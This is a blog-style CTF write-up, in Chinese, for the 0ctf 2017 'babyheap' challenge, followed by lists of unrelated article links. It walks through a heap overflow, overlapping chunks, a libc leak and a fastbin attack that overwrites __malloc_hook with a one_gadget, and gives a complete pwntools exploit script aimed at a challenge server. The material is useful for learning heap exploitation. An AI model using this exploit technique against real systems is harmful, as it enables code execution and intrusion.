0ctf_2017_babyheap

附件

步骤:

  1. 例行检查,64位程序,保护全开
  2. 本地试运行一下,看看大概的情况,经典的堆题的菜单
  3. main函数

add()

edit()

delete()

show()

利用思路

  1. edit存在堆溢出,可以通过重叠堆来泄露libc
  2. 然后利用fastbin attack,修改malloc_hook为one_gadget

利用过程

  1. 首先来构造重叠堆
    先申请3个chunk,
add(0x10)#0
add(0x10)#1
add(0x80)#2

来看一下堆的布局

2. 接着利用堆溢出,将chunk1的size修改掉,使其能够包裹住chunk2,这样就构成了重叠堆

edit(0,p64(0)*3+p64(0xb1))


之后释放chunk1,在重新申请回来,主要是为了修改结构体中的size,show的长度是根据这个来定的,由于calloc申请的chunk会初始化置0,所以还得要重新修改一下

delete(1)
add(0xa0)#1 delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
  1. 由于我申请的chunk2的size大于max_fast bin,所以free掉后会进入unsorted bin,而如果只有一个bin的话,其fd与bk都是main_arena + offset,我们通过打印chunk1就能够得到main_arena + offset的地址了,这样就泄露了libc,可以计算出malloc_hock的地址
delete(2)
show(1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']

为什么偏移是0x3c4b78?,我之前的文章里有提到过

  1. 接下来是fastbin attack覆盖malloc_hock为one_gadget
delete(4)
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#2 #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget))

我们已经将malloc_hook的地址覆写成了one_gadget,现在add一个chunk就能获取shell了

为什么是malloc_hook-0x23,我之前的这篇文章也有讲到过

完整exp:

from pwn import *

context.log_level = 'debug'
p=remote("node3.buuoj.cn",28294)
p = process('./0ctf_2017_babyheap')
libc = ELF('/libc-2.23-64.so') def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size)) def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content) def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx)) def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx)) #---------------这3个一组,是为了泄漏libc地址----------#
add(0x10)#0
add(0x10)#1
add(0x80)#2
#---------------这3个一组,是为了fastbin attack 覆写malloc hook 为one_gadget ----------#
add(0x30)#3
add(0x68)#4
add(0x10)#5 #------------------泄漏libc地址------------------------------------#
edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的大小,使其包裹chunk2
delete(1)
add(0xa0)#1 delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
delete(2) #使的chunk2进入unsorted bin
show(1) #泄漏chunk2的fd
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook'] #-----------------fastbin attack-------------------------------------#
delete(4)#释放使其进入fastbin
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指针
add(0x68)#2 #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget)) #覆盖malloc_hook为one_gadget add(0x10)
#gdb.attach(p) p.interactive()

最新文章

  1. position属性的四个value
  2. 【Tomcat 系统服务】将tomcat设置为系统服务,并且开机自启 + 卸载tomcat服务
  3. django CSRF token missing or incorrect
  4. Java学习-010-创建文件夹源代码
  5. HDU 3357
  6. hibernate的id生成策略
  7. Spring编程风格
  8. sqlserver2008安装出现跨语言
  9. IIS  发布  dedecms  网站教程
  10. Ambari安装及自定义service初步实现
  11. IDEA 中使用MyBatis-generator 自动生成MyBatis代码
  12. cf——C. Serval and Parenthesis Sequence
  13. day10 十 函数、形参和实参
  14. invariant theory 不变量理论
  15. AsnycTask内部实现原理
  16. 21.Mysql Server优化
  17. mac chrome 驱动配置
  18. RabbitMQ入门_15_访问控制
  19. java类库 java API jar包 C语言函数库
  20. 使用seek()方法报错:“io.UnsupportedOperation: can't do nonzero cur-relative seeks”错误的原因

热门文章

  1. win10开机自启
  2. 简易发号SQL,可用于生成指定前缀自增序列--改进版
  3. request.setAttribute()和session.setAttribute()的区别详解
  4. jQuery源码中的赌博网站
  5. CF1036F
  6. 洛谷 P5233 - [JSOI2012]爱之项链(Polya 定理+递推)
  7. Codeforces 1089I - Interval-Free Permutations(析合树计数)
  8. Comet OJ Contest #13 D
  9. 【R】调整ggplot图例大小
  10. C语言 fastq文件转换为fasta文件2